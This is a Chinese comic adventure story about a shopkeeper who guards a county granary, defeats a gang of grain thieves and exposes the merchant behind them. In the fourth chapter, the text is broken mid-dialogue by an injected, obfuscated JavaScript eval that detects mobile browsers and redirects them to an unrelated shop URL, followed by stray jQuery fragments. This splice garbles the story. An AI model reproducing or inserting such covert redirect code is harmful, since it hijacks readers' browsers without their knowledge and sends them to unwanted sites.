一、三更梆子响,粮仓起疑云
“咚 —— 咚 —— 咚 ——”
三更的梆子声刚从街东口传来,夏雨来就跟被针扎了似的从粮囤上弹起来。他揉了揉被夜露打湿的眉毛,往手心啐了口唾沫,借着天边那弯月牙儿的光,眯着眼打量眼前这座占地十亩的官府粮仓。
“邪门了,” 他挠了挠后脑勺,心里犯开了嘀咕,“往日里这粮仓周围的蛐蛐叫得能掀了天,今儿个怎么静得跟坟地似的?”
夏雨来不是官府派来的粮官,说起来也就是个 “编外临时工”。前几日县城里的粮官王大人得了风寒,卧床不起,又恰逢南方漕运刚到,十万石新粮入仓,急需人手看管。衙门里的捕快要么嫌夜里守粮仓辛苦,要么惧着近日城外闹得凶的 “黑风帮”,一个个找借口推脱。最后还是师爷想起了夏雨来 —— 这小子在县城东头开了家杂货铺,平日里爱管闲事,脑子活泛,手脚也利索,关键是胆子大,给二两银子就能通宵不闭眼。
“夏小哥,这粮仓可是咱们县城的命脉,” 师爷拍着他的肩膀,一脸凝重,“如今城里米价看涨,要是出了岔子,老百姓得造反!”
夏雨来当时正愁杂货铺的房租凑不齐,一听二两银子,眼睛都亮了:“师爷您放心,别说黑风帮,就是黑风怪来了,我也给您拦着!”
可真到了守粮仓的第三夜,夏雨来就觉得不对劲了。
第一夜,一切正常,除了几只老鼠跑过粮仓的木梁,连只野狗都没靠近。第二夜,他发现粮仓西北角的狗尾巴草被人踩倒了一片,当时只当是过路人不小心,没往心里去。可今晚,这死一般的寂静,还有空气里隐约飘来的一股松油味,让他后脊梁骨直冒凉气。
“松油?这荒郊野外的,哪来的松油?” 夏雨来蹲下身,手指捻起一点沾在粮仓木柱上的黑色油渍,放在鼻尖闻了闻,“好家伙,是用来引火的!这是想偷粮不成,还想烧仓?”
他心里咯噔一下,随即又冷静下来。夏雨来这人,最大的优点就是遇事不慌,还爱琢磨。他琢磨着,黑风帮既然敢打官府粮仓的主意,肯定不是三五个人,说不定是倾巢出动。自己就一个人,硬拼肯定不行,得想个巧法子。
“得先通知衙门,” 夏雨来摸了摸腰间的铜锣,这是师爷给他的,说是遇事就敲。可他转念一想,“不行,衙门离这儿有三里地,等捕快们跑过来,粮都被人搬空了。再说,万一黑风帮在半路上设了埋伏,岂不是羊入虎口?”
他站起身,绕着粮仓转了一圈。这粮仓是用青砖砌的墙,高两丈,顶上盖着青瓦,只有一个正门,两扇大门用手腕粗的铁锁锁着,还有四个瞭望口。夏雨来眼珠一转,心里有了主意。
“要不说咱脑子好使呢,” 他得意地拍了拍大腿,“来个瓮中捉鳖,让这帮孙子有来无回!”
二、巧布迷魂阵,夏雨来藏踪
夏雨来先是跑到粮仓旁边的草料房,抱了十几捆干草,堆在粮仓正门两侧,又在干草上洒了些煤油 —— 这是他从杂货铺带来的,本来是想夜里点灯用,现在正好派上用场。接着,他又找来十几根竹竿,把自己的几件旧衣服套在竹竿上,插在粮仓周围的草丛里,远远看去,像是一个个埋伏的捕快。
“黑风帮的人要是远远看见,肯定得犯嘀咕,” 夏雨来一边忙活,一边自言自语,“说不定还会以为官府早就有了防备,不敢轻易动手。”
忙活完这些,他又跑到粮仓的瞭望口,从怀里掏出一面小镜子,借着月光,时不时往外面照一照,镜子反射的光在夜色中一闪一闪,像是捕快们手中的火把。
“接下来,就是等鱼儿上钩了,” 夏雨来缩在瞭望口后面,屏住呼吸,心里既紧张又兴奋。他想起自己年轻时跟人打赌,在坟地里睡了一夜,都没这么刺激过。
他摸了摸怀里的短刀,这是他爹留下的,虽说不怎么锋利,但吓唬人还是够用的。又摸了摸腰间的铜锣,心里盘算着,等黑风帮的人靠近了,先敲锣造势,再放火烧干草,把他们逼到粮仓后面的泥坑里 —— 那里前几天下雨,积了半米深的烂泥,人一旦陷进去,就很难爬出来。
“完美!” 夏雨来忍不住在心里喝彩。可他又转念一想,万一黑风帮的人不上当怎么办?万一他们识破了自己的计谋怎么办?万一…… 一连串的 “万一” 让他手心冒出了汗。
“怕个球!” 他给自己打气,“咱夏雨来什么大风大浪没见过?当年在码头跟一群混混抢生意,以一敌三都没输过,还怕这几个偷粮的毛贼?”
就在他胡思乱想的时候,远处传来了一阵轻微的脚步声。夏雨来立刻警觉起来,握紧了怀里的短刀,眼睛死死盯着声音传来的方向。
脚步声越来越近,借着月光,夏雨来看到十几个黑影正朝着粮仓的方向移动。他们一个个身手矫健,动作麻利,一看就是惯犯。为首的是一个身材高大的壮汉,脸上蒙着黑布,只露出一双凶神恶煞的眼睛。
“黑风帮的人来了!” 夏雨来心里一紧,下意识地摸了摸腰间的铜锣。
“大哥,你看前面,” 一个瘦猴似的黑影指着粮仓周围的 “假人”,小声说道,“好像有埋伏!”
为首的壮汉停下脚步,眯着眼打量了一番,冷哼一声:“哼,这点小伎俩也想吓唬老子?肯定是官府的人故弄玄虚,想让我们知难而退。”
“可是大哥,” 瘦猴又说,“我刚才好像看到有火光闪了一下,会不会是捕快的火把?”
“怕什么!” 壮汉呵斥道,“咱们有二十多个人,就算有埋伏,也能冲进去!兄弟们,跟我上,事成之后,每人分一百斤大米!”
“好嘞!” 一群黑影齐声应和,朝着粮仓冲了过来。
夏雨来心里暗骂:“这壮汉倒是挺狡猾,可惜啊,遇上了我夏雨来!”
他屏住呼吸,等黑影们靠近到离粮仓只有十几步远的时候,猛地敲起了铜锣:“咚!咚!咚!抓贼啊!有贼偷粮了!”
铜锣声在寂静的夜里格外刺耳,黑影们被吓了一跳,纷纷停下脚步。
“不好,有埋伏!” 瘦猴尖叫道。
“慌什么!” 壮汉吼道,“不过是一个人在敲锣,给我冲!”
就在黑影们再次冲锋的时候,夏雨来点燃了手中的火把,朝着正门两侧的干草扔了过去。“呼” 的一声,干草瞬间燃起了熊熊大火,把粮仓正门照得通红。
黑影们被大火拦住了去路,一个个惊慌失措。
“大哥,火太大了,冲不过去啊!”
“慌什么!绕到后面去!” 壮汉喊道。
一群黑影立刻朝着粮仓后面跑去,可他们刚跑到粮仓后面,就听到 “扑通”“扑通” 几声,好几个人掉进了泥坑里。
“哎哟!这是什么鬼地方!”
“救命啊!我陷进去了!”
泥坑里的黑影们挣扎着,可越挣扎陷得越深,一个个变成了 “泥人”。
夏雨来站在瞭望口,看着这一幕,差点笑出声来:“让你们偷粮!这下好了,成泥菩萨了吧!”
三、智斗黑风帮,唇枪舌剑酣
“是谁在那里装神弄鬼?” 壮汉气得暴跳如雷,朝着粮仓大喊。
夏雨来探出头,朝着壮汉拱了拱手:“在下夏雨来,乃是这粮仓的看守。奉劝各位兄弟,苦海无边,回头是岸,赶紧束手就擒,官府还能从轻发落!”
“夏雨来?没听说过!” 壮汉冷哼一声,“识相的赶紧开门,把粮食交出来,否则,等我们冲进去,定要你碎尸万段!”
“碎尸万段?” 夏雨来笑了,“就凭你们这几块料?刚才掉进泥坑里的兄弟,怕是连爬出来的力气都没有了吧?”
“你!” 壮汉气得脸色铁青,“兄弟们,给我找东西灭火,冲进去!”
几个黑影立刻找来树枝,想要扑灭正门的大火,可夏雨来早有准备,他从瞭望口往下扔煤油,大火越烧越旺,根本扑不灭。
“大哥,不行啊,火太大了,根本靠近不了!”
壮汉看着熊熊燃烧的大火,又看了看陷在泥坑里的手下,心里又气又急。他知道,再这样耗下去,等官府的人来了,他们就插翅难飞了。
“夏雨来,你有种出来跟我单挑!” 壮汉喊道。
“单挑?” 夏雨来乐了,“我傻啊?我站在高处,你站在低处,你打不着我,我却能扔石头砸你,这单挑不公平啊!”
“你!” 壮汉被噎得说不出话来。
夏雨来接着说道:“我说这位大哥,你也是混江湖的,怎么就干这种偷鸡摸狗的勾当?偷官府的粮仓,可是掉脑袋的大罪!你想想,就算你把粮食偷到手了,官府能饶得了你?到时候全县通缉,你连个藏身之处都没有,值得吗?”
壮汉心里一动,他其实也不想干这种掉脑袋的事,可黑风帮最近欠了一大笔赌债,急需用钱,而偷官府粮仓来钱最快。
“少废话!” 壮汉硬着头皮说道,“今天这粮食,我们是偷定了!”
“偷定了?” 夏雨来撇了撇嘴,“我看未必。你以为你们的计划很周密?可你们不知道,我早就发现你们的踪迹了。昨天夜里,你们踩点的时候,就被我看见了。我还知道,你们今晚带了松油,想偷粮不成,就放火烧仓,嫁祸给别人,是不是?”
壮汉心里一惊,没想到夏雨来竟然什么都知道。他哪里知道,夏雨来其实是猜的,不过是想吓唬吓唬他们。
“你…… 你怎么知道?”
“我怎么知道?” 夏雨来得意地说道,“我不仅知道这些,我还知道你们黑风帮的老巢在城外的黑风寨,你们帮主叫李黑虎,是不是?”
其实夏雨来根本不知道这些,他只是听县城里的人说过黑风帮的一些传闻,随口胡诌的。可壮汉却信以为真,以为夏雨来早就调查过他们了。
“你到底是什么人?” 壮汉警惕地问道。
“我是什么人不重要,” 夏雨来说道,“重要的是,你们今天跑不掉了。我已经派人去通知官府了,估计再过一盏茶的功夫,捕快们就到了。到时候,你们插翅难飞!”
壮汉心里咯噔一下,他最怕的就是官府的人来。他看了看周围,只见夜色越来越浓,远处隐约传来了马蹄声。
“不好,官府的人真的来了!” 瘦猴尖叫道。
壮汉脸色一变,他知道,再不走就来不及了。“兄弟们,撤!”
“大哥,那陷在泥坑里的兄弟怎么办?”
“管不了那么多了,先撤!” 壮汉咬了咬牙,转身就跑。
剩下的黑影们也跟着壮汉跑了,只留下几个陷在泥坑里的黑影,在那里哭爹喊娘。
夏雨来看着跑远的黑影,松了一口气,心里暗自庆幸:“还好这马蹄声来得及时,不然还真不好打发这些家伙。”
其实,那马蹄声根本不是官府的人,而是城外的一个马贩子赶夜路经过这里。夏雨来也是碰巧听到的,正好用来吓唬黑风帮的人。
四、捕快姗姗至,幕后有隐情
没过多久,衙门的捕快们终于来了。为首的是捕头张彪,他带着十几个捕快,骑着马,拿着火把,浩浩荡荡地赶到了粮仓。
“夏小哥,怎么样?有没有出事?” 张彪勒住马,大声问道。
夏雨来从粮仓上跳下来,拍了拍身上的灰尘:“张捕头,还好我反应快,黑风帮的人被我打跑了,还抓住了几个活口。”
张彪一听,大喜过望:“太好了!夏小哥,你立大功了!”
捕快们立刻上前,把陷在泥坑里的几个黑影拉了出来,用绳子捆了起来。
“带走!” 张彪大喝一声。
“张捕头,等一下,” 夏雨来说道,“黑风帮的人跑不远,他们往城外的黑风寨方向跑了,你们赶紧去追,说不定还能把他们一网打尽!”
张彪点了点头:“好!我分一半人跟你去追,剩下的人把这里收拾一下,看管俘虏。”
夏雨来带着几个捕快,朝着城外的黑风寨方向追去。可他们追了一路,连个人影都没看到。
“奇怪,他们跑哪里去了?” 一个捕快疑惑地说道。
夏雨来心里也犯嘀咕:“按理说,他们跑了这么短的时间,应该跑不远才对。难道是我猜错了他们的逃跑方向?”
就在这时,夏雨来突然想起了什么:“不好,他们可能不是回黑风寨,而是去了别的地方!”
“别的地方?” 张彪问道,“什么地方?”
“我猜,他们可能去了城西的破庙,” 夏雨来说道,“那破庙荒废了很久,正好可以藏身。而且,从这里到破庙,有条小路,比去黑风寨近多了。”
张彪半信半疑,但也没有别的办法,只好带着捕快们朝着城西的破庙跑去。
果然,他们刚到破庙门口,就听到里面传来了说话声。
“大哥,我们现在怎么办?官府的人肯定会到处搜捕我们的。”
“慌什么!” 这是壮汉的声音,“等风头过了,我们再想办法。实在不行,我们就离开这座县城,去别的地方发展。”
“可是大哥,我们的粮食还没到手,欠的赌债怎么办?”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446939|201103||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“欠的赌债?” 壮汉冷哼一声,“等我们躲过这一劫,再找机会干一票大的,还怕还不上赌债?”
夏雨来朝着张彪使了个眼色,张彪立刻会意,带着捕快们冲进了破庙。
“不许动!都给我蹲下!”
黑风帮的人没想到捕快们会找到这里,一个个惊慌失措,想要反抗,可根本不是捕快们的对手。没过多久,所有的黑影都被捆了起来。
张彪走到壮汉面前,扯掉他脸上的黑布,露出了一张满脸横肉的脸。
“原来是你,王三!” 张彪认出了他,“你不是早就离开县城了吗?怎么又回来了,还干起了偷粮的勾当?”
王三是县城里的一个老混混,以前经常小偷小摸,后来因为偷了大户人家的东西,被官府通缉,就跑路了。没想到,他竟然加入了黑风帮,还成了小头目。
“张捕头,我也是被逼无奈啊!” 王三哭丧着脸说道,“黑风帮的帮主李黑虎逼我干的,我要是不干,他就杀了我!”
“李黑虎?” 张彪皱了皱眉,“这李黑虎最近越来越嚣张了,竟然敢打官府粮仓的主意。看来,是时候端了他的黑风寨了!”
夏雨来在一旁说道:“张捕头,我觉得这件事没那么简单。黑风帮虽然嚣张,但他们胆子再大,也不敢轻易跟官府作对。他们这次偷粮仓,说不定背后有人指使。”
张彪点了点头:“夏小哥说得有道理。我审问一下这些俘虏,看看能不能问出点什么。”
经过审问,王三等人终于吐露了实情。原来,背后指使他们偷粮仓的,竟然是县城里的粮商赵富贵!
赵富贵是县城里最大的粮商,垄断了县城的粮食生意。最近南方漕运到了,官府粮仓里的新粮即将投放市场,到时候米价肯定会下跌,赵富贵的利益会受到很大损失。所以,他就暗中勾结黑风帮,让他们去偷粮仓,再放火烧仓,这样一来,粮食短缺,米价就会上涨,他就能从中牟取暴利。
“好一个赵富贵!” 张彪气得咬牙切齿,“竟敢勾结匪类,危害百姓!我现在就去抓他!”
夏雨来拦住了他:“张捕头,别急。赵富贵是县城里的大户,有钱有势,我们没有确凿的证据,根本抓不了他。万一他反咬一口,说我们诬陷他,我们还不好收场。”
“那怎么办?” 张彪问道。
“我有一个办法,” 夏雨来眼珠一转,“我们可以让王三他们戴罪立功,假意答应赵富贵,说粮食已经偷到手了,让他来破庙交接。到时候,我们埋伏在周围,等他一到,就人赃并获!”
张彪一拍大腿:“好主意!夏小哥,你真是太聪明了!”
五、设局擒真凶,粮仓得安宁
第二天夜里,王三按照夏雨来的吩咐,给赵富贵写了一封信,说粮食已经偷到手了,藏在城西的破庙里,让他带五千两银子来交接。
赵富贵收到信后,心里又喜又怕。喜的是,他的计划成功了,米价即将上涨;怕的是,万一有诈,他就会身败名裂。
“老爷,要不要去?” 管家问道。
赵富贵犹豫了半天,最终还是贪念战胜了恐惧:“去!为什么不去?只要拿到粮食,再杀了王三他们灭口,就没人知道是我干的了!”
当天夜里,赵富贵带着五个保镖,背着五千两银子,悄悄地来到了城西的破庙。
“王三,粮食呢?” 赵富贵一进破庙,就迫不及待地问道。
王三从黑暗中走了出来:“赵老爷,粮食都在这里,你先把银子给我。”
赵富贵看了看周围,只见破庙里堆着几袋粮食,心里放下了戒心,让管家把银子扔给了王三。
“银子给你了,粮食呢?”
就在这时,夏雨来和张彪带着捕快们从埋伏的地方走了出来,火把照亮了整个破庙。
“赵富贵,你被捕了!” 张彪大喝一声。
赵富贵脸色大变,转身就想跑,可保镖们早就被捕快们制服了。
“你们…… 你们想干什么?” 赵富贵惊慌失措地说道,“我是良民,你们不能随便抓我!”
“良民?” 夏雨来笑了,“勾结黑风帮,偷官府粮仓,还想放火烧仓,危害百姓,你这也叫良民?”
“你…… 你血口喷人!” 赵富贵反驳道。
“血口喷人?” 夏雨来指了指王三,“你问问他,是不是你指使他干的?”
王三上前一步,指着赵富贵说道:“赵富贵,你别狡辩了!是你让我们去偷粮仓,还让我们放火烧仓,嫁祸给别人。这些话,你都忘了吗?”
赵富贵看着王三,脸色惨白,一句话也说不出来。
“人赃并获,你还有什么好说的?” 张彪拿出手铐,铐在了赵富贵的手上。
赵富贵瘫倒在地,知道自己彻底完了。
第二天,赵富贵勾结黑风帮偷粮的事情传遍了整个县城,老百姓们无不拍手称快。官府没收了赵富贵的全部财产,还开仓放粮,米价很快就降了下来。
粮官王大人病好后,听说了夏雨来的事迹,亲自来到杂货铺,想要感谢他。
“夏小哥,多亏了你,不然县城就会大乱了!” 王大人说道。
夏雨来挠了挠后脑勺:“王大人,客气了,这都是我应该做的。”
王大人拿出一百两银子,递给夏雨来:“这是给你的赏钱,谢谢你为县城立了大功。”
夏雨来推辞道:“王大人,赏钱我不能要。我守粮仓,已经拿了衙门的工钱,这是我分内的事。”
王大人见夏雨来执意不收,只好作罢:“夏小哥,你真是个好人。以后,你要是有什么困难,尽管跟我说,我一定帮你。”
从此以后,夏雨来在县城里名声大噪,大家都知道他是一个聪明勇敢、为民除害的英雄。他的杂货铺生意也越来越红火,再也不用担心房租的问题了。
而官府粮仓,经过这件事之后,也加强了防备,再也没有人敢打它的主意了。每当夜深人静的时候,人们总能看到一个身影,在粮仓周围巡逻,那就是夏雨来 —— 他虽然不再是粮仓的看守,但他依然放心不下,每天都会来转一圈。
“咚 —— 咚 —— 咚 ——”
三更的梆子声再次响起,夏雨来站在粮仓的瞭望口,望着天边的月牙儿,心里充满了成就感。他知道,只要他在,这座粮仓就会安宁,县城里的老百姓就会安居乐业。
他笑了,笑得那么开心,那么坦荡。这一夜,他又将是一个无眠之夜,但他无怨无悔,因为他守护的,是整个县城的希望和安宁。